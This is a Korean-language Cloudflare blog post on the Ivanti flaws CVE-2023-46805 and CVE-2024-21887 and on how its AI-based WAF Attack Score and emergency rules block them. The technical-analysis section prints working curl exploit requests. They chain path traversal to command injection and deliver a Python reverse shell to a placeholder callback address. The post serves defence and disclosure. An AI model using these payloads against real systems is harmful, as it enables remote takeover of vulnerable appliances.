대부분의 WAF 공급자는 취약점이 발견되고 악용된 후에 대응하는 사후 대응 방식에 의존합니다. 하지만 Cloudflare에서는 잠재적인 위험에 선제적으로 대응하고 이를 위해 AI를 활용해야 한다고 믿습니다. 오늘은 중요한 취약점(CVE-2023-46805 및 CVE-2024-21887)의 최근 사례와 이 위협에 대응하기 위해 AI를 기반으로 한 Cloudflare의 Attack Score 및 WAF의 긴급 규칙을 공유하고자 합니다.
위협: CVE-2023-46805 및 CVE-2024-21887
최근 AttackerKB에서는 Ivanti 제품에 영향을 미치는 인증 우회(CVE-2023-46805) 및 명령 삽입 취약점(CVE-2024-21887)을 공개하고 분석했습니다. 이 취약점은 영향을 받는 시스템에 대한 무단 액세스 및 제어로 이어질 수 있는 심각한 위험을 초래합니다. 다음 섹션에서는 이 취약점이 어떻게 악용될 수 있는지 설명하겠습니다.
기술적 분석
AttackerKB에서 설명한 것처럼, 공격자는 다음과 같은 명령을 사용하여 특수하게 조작된 요청을 대상 시스템에 보낼 수 있습니다.
이 명령은 일반적으로 인증으로 보호되는 엔드포인트(**/license/keys-status/)**를 대상으로 합니다. 그러나 공격자는 **/api/v1/totp/user-backup-code/../../license/keys-status/**를 포함하도록 URL을 조작하여 인증을 우회할 수 있습니다. 이 기법을 디렉터리 순회라고 합니다.
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
명령의 URL로 인코딩된 부분은 다음과 같이 Python 리버스 셸로 디코딩됩니다.
Python 리버스 셸은 공격자가 대상 시스템을 제어하는 방법입니다.
;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
이 취약점은 시스템에서 node_name 매개변수를 처리하는 방식에 존재합니다. 공격자가 node_name의 값을 제어할 수 있다면 시스템에 명령을 삽입할 수 있습니다.
'node_name'에 대한 자세한 설명: 'node_name' 매개변수는 엔드포인트 api/v1/license/keys-status/path:node_name의 구성 요소입니다. 이 엔드포인트가 문제가 주로 발생하는 곳입니다.
공격자는 URI 경로 **/api/v1/totp/user-backup-code/../../license/keys-status/;CMD;**로 GET 요청을 보낼 수 있으며, 여기서 CMD는 실행하고자 하는 명령어입니다. 세미콜론을 사용하여 요청에 이 명령을 지정할 수 있습니다. 시스템에서 명령이 올바르게 처리되도록 하려면 URL 인코딩이 되어 있어야 합니다.
AttackerKB의 블로그 게시물에 자세히 설명된 대로 또 다른 코드 삽입 취약점이 발견되었습니다. 이번에는 시스템의 다른 부분에서 발견된 인증된 명령 삽입과 관련된 문제입니다.
첫 번째 명령 삽입에 사용된 것과 동일한 Python 리버스 셸 페이로드가 여기에도 사용되어 취약점을 트리거하는 JSON 구조를 형성할 수 있습니다. 페이로드가 JSON이므로 URL로 인코딩할 필요가 없습니다.
/api/v1/system/maintenance/archiving/cloud-server-test-connection 엔드포인트는 인증이 필요하지만, 공격자는 앞서 언급한 디렉터리 순회 취약점과 연결하여 이를 우회할 수 있습니다. 공격자는 인증되지 않은 URI 경로 /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection으로 구성하여 이 엔드포인트에 도달하고 취약점을 익스플로잇할 수 있습니다.
{
"type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
"txtGCPProject": "a",
"txtGCPSecret": "a",
"txtGCPPath": "a",
"txtGCPBucket": "a"
}
공격자는 인증되지 않은 운영 체제 명령을 실행하기 위해 다음과 같은 curl 요청을 사용합니다.
Cloudflare의 선제적 방어
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'
Cloudflare WAF는 공격 우회가 발표되기도 전에 포착하기 위해 구축된 추가 AI 기반 계층인 WAF Attack Score라는 추가 AI 기반 계층에 의해 지원됩니다. Attack Score는 요청이 악의적인지 여부를 나타내는 점수를 제공하며, 지금까지는 다음과 같은 세 가지 주요 범주에 중점을 두었습니다. 바로 XSS, SQLi, 일부 RCE 변형(명령 삽입, ApacheLog4J 등)입니다. 점수는 1~99이며, 점수가 낮을수록 더 악의적인 요청입니다. 일반적으로 20점 미만의 모든 요청은 악의적인 것으로 간주됩니다.
위의 CVE-2023-46805 및 CVE-2024-21887의 익스플로잇 예시 결과를 Cloudflare의 대시보드(보안 > 이벤트)를 사용하여 살펴보겠습니다. Attack Score 분석 결과는 세 가지 개별 점수로 구성되며, 각 점수는 특정 공격 카테고리와의 관련성을 나타내는 레이블이 지정되어 있습니다. 이 세 가지 점수를 합산한 글로벌 점수("WAF Attack Score")도 있습니다. 공격이 카테고리와 일치하는 경우 글로벌 점수가 하위 점수 중 하나의 영향을 받는 경우도 있는데, 여기서는 원격 코드 실행 "WAF RCE Attack Score"가 지배적인 하위 점수임을 알 수 있습니다.
마찬가지로, 인증되지 않은 운영 체제 명령 요청의 경우, 우리는 악의적 요청 카테고리에 속하는 "WAF Attack Score: 19"를 AI 모델로부터 받았습니다. 예시 점수는 고정된 수치가 아니며, 유입되는 공격 유형에 따라 달라질 수 있습니다.
여기서 반가운 소식: Enterprise 및 Business 요금제 고객으로, WAF Attack Score가 활성화되고, Business 요금제에 대한 낮은 점수(예: [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20
) 또는 ([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq
"attack
")를 차단하는 규칙이 함께 활성화된 경우, 취약점이 발표되기 전부터 지금까지 테스트된 잠재적인 취약점 익스플로잇으로부터 이미 보호되었다는 것입니다.
긴급 규칙 배포
이 중대한 취약점에 대응하기 위해 Cloudflare에서는 개념 증명이 공개된 후 24시간 이내인 2024년 1월 17일에 긴급 규칙을 발표했습니다. 이 규칙은 WAF를 위한 관리형 규칙의 일부로, 특히 CVE-2023-46805 및 Ivanti 제품과 관련된 추가 취약점인 CVE-2024-21887로 인한 위협을 대상으로 합니다. 이 규칙은 "Ivanti - 인증 우회, 명령 삽입 - CVE:CVE-2023-46805, CVE:CVE-2024-21887" 으로 명명되었으며, 이들 취약점을 악용하려는 시도를 차단하여 Cloudflare 사용자에게 추가적인 보안 계층을 제공하기 위해 개발되었습니다.
Cloudflare에서는 이들 규칙을 배포한 이후 높은 수준의 활동을 기록했습니다. 이 글을 작성하는 시점에 이 규칙은 18만 번 이상 트리거되었습니다.
.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}
Rule ID | Description | Default Action |
---|---|---|
New Managed Rule…34ab53c5 | Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
Legacy Managed Rule 100622 |
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
규칙 ID
설명
기본 동작
새 관리형 규칙…34ab53c5
Ivanti - 인증 우회, 명령 삽입 - CVE:CVE-2023-46805, CVE:CVE-2024-21887
차단
레거시 관리형 규칙100622
Ivanti - 인증 우회, 명령 삽입 - CVE:CVE-2023-46805, CVE:CVE-2024-21887
차단
시사점 및 모범 사례
CVE-2023-46805 및 CVE-2024-21887에 대한 Cloudflare의 대응은 강력한 보안 조치를 마련하는 것이 중요하다는 것을 강조합니다. Cloudflare의 서비스 중 특히 WAF를 사용하는 조직에서는 최적의 보호를 유지하기 위해 시스템을 최신 규칙 및 구성으로 업데이트하는 것을 권장합니다. 고객이 Attack Score를 사용하여 규칙을 배포해서 보안 태세를 개선할 것도 권장합니다. Attack Score에 대해 자세히 알아보려면 계정 팀에 문의하세요.
결론
CVE-2023-46805 및 CVE-2024-21887에 대한 대응을 예로 들면, AI를 사용하여 공격을 식별하고 차단하는 Cloudflare의 사이버 보안에 대한 선제적 접근 방식은 위협과 공격이 알려지고 취약점이 공개되기 전에 이를 식별하는 방법을 강조합니다. Cloudflare에서는 취약점을 지속해서 모니터링하고 신속하게 대응함으로써 점점 더 복잡해지는 디지털 환경에서 클라이언트가 보안을 유지할 수 있도록 보장합니다.